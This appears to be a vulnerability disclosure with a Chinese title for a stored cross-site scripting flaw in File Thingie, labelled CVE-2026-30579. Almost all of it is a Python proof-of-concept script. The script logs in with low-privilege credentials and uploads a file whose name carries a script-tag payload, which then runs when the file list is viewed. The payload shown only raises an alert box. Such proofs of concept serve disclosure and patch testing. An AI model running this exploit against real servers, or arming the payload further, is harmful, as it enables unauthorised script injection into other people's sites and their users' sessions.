CVE-2026-30579 File Thingie 存储型XSS漏洞

import requests # Target configuration target_url = "http://example.com/filethingie/ft2.php" # Attacker credentials (Low privilege required) username = "attacker" password = "password" # Malicious filename containing XSS payload # The application reflects the filename directly in the UI malicious_filename = "<script>alert('CVE-2026-30579_XSS');</script>.txt" # Create a session to handle cookies session = requests.Session() # 1. Login to get a valid session login_data = { "username": username, "password": password, "submit": "Login" } session.post(target_url, data=login_data) # 2. Prepare file upload # The filename is where the injection happens files = { 'file': (malicious_filename, b'Content of the file', 'text/plain') } upload_data = { 'action': 'upload', 'submit': 'Upload' } # 3. Send the malicious request response = session.post(target_url, files=files, data=upload_data) if response.status_code == 200: print("[+] Potential upload successful.") print("[+] Check the file list page to trigger the XSS.") else: print("[-] Upload failed.")